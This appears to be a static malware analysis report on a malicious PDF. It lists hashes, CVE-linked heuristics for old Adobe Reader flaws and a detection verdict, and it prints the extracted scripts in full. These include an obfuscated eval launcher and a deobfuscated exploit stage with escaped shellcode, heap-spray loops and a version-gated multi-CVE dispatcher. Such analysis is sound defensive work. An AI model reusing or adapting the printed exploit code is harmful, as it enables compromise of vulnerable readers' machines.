Malicious PDF — malware analysis report

Static analysis result for SHA-256 d632db276ea0edc5…

MALICIOUS

PDF

25.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: b9a5f7d20ec7e7c0f1cbb8c72a6528a6 SHA-1: 436121ec3081531595d32683c6a1510947699461 SHA-256: d632db276ea0edc5b8fa04a6475972ce4aa9f83ff16d691ad218d5c4425e8173
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file 'javascript_obj0001_000.js' is likely responsible for the malicious behavior, potentially downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 557 bytes
SHA-256: 1b13217ecb37344a3951a16ae7c997d231aa7fda55919047be64b0bab8b1c669
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
afn='';
var q = date.getFullYear()-2007;
iqd='2011s'.replace(date.getFullYear(),'hi');
ghhiw=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+iqd+'[a]');
var nwpek = g(ghhiw);
kwpck=('sub2011').replace(date.getFullYear(),'ject');
var kmj=g(kwpck).replace(date.getFullYear(),'al');
qejq=g(kmj);
mqc='pro2011cer';
mqc=qejq('mqc.replace(date.getFullYear(),"du")');
kdbqf=qejq(g(mqc));
whd = qejq(nwpek);
for (i = 0; i < whd.length; i++) {
	onva = whd[i];
	afn += kdbqf(onva);
}
qejq(afn);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F6 3636 bytes
SHA-256: 302fc6fb99955c8679586a5e43cc10a9aa6874412330afbf99a4c866ab511cf1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5434%ue2aa%uc3fa%ue5e8%uffff%ubdff%u5558%u5454%ud50a%u08b8%u5455%udd54%ud9b3%u441b%u3bd9%u6500%u038f%u0705%u0707%u0707%u0707%u0701%u3c07%u5550%u5454%u0201%u3c07%u3a3b%u5454%u213c%u3826%u0039%uda3c%u5a1a%ubcb8%u541c%u5454%ubc04%u5428%u5454%u84ab%u90d7%u3c5c%ubb1b%u511b%ubc04%u5438%u5454%u84ab%u94d1%u4321%u003e%ua70d%u3cfe%uaa26%u42e7%u49bc%u5454%u0454%u05bc%u5454%uab54%u0784%uaa3e%udd3c%u553b%ubce9%u545c%u5454%ubc04%u5468%u5454%u84ab%u6534%u3094%u04df%udf64%u5806%u06df%udf40%u7c26%u4ced%u5454%u6554%u65ab%uf894%u3568%u5628%u7478%u9b95%u5559%ub693%ud5a4%u0fab%u1ee8%udf3e%u4416%u46df%u8d21%u10dd%u4870%u9735%udf34%u7038%udf70%u6811%u00df%u2c51%ube55%u1edf%udf4c%u740e%ubf55%u60b7%udf1d%udf60%uba55%uab65%u9465%uf8a8%u94d0%u5320%u9b95%u5559%ubf93%u6fa0%u7028%u217c%udfb5%u700e%ubf55%udf32%u1f58%u0edf%u5548%udfbf%udf50%ubc55%u10dd%u4870%u9635%u545c%ubbbc%uabaa%u3cab%u2020%u6e24%u7b7b%u393a%u3f38%u377a%u7a3b%u3737%u307b%u247a%u243c%u326b%u6669%u7262%u6931%u5467';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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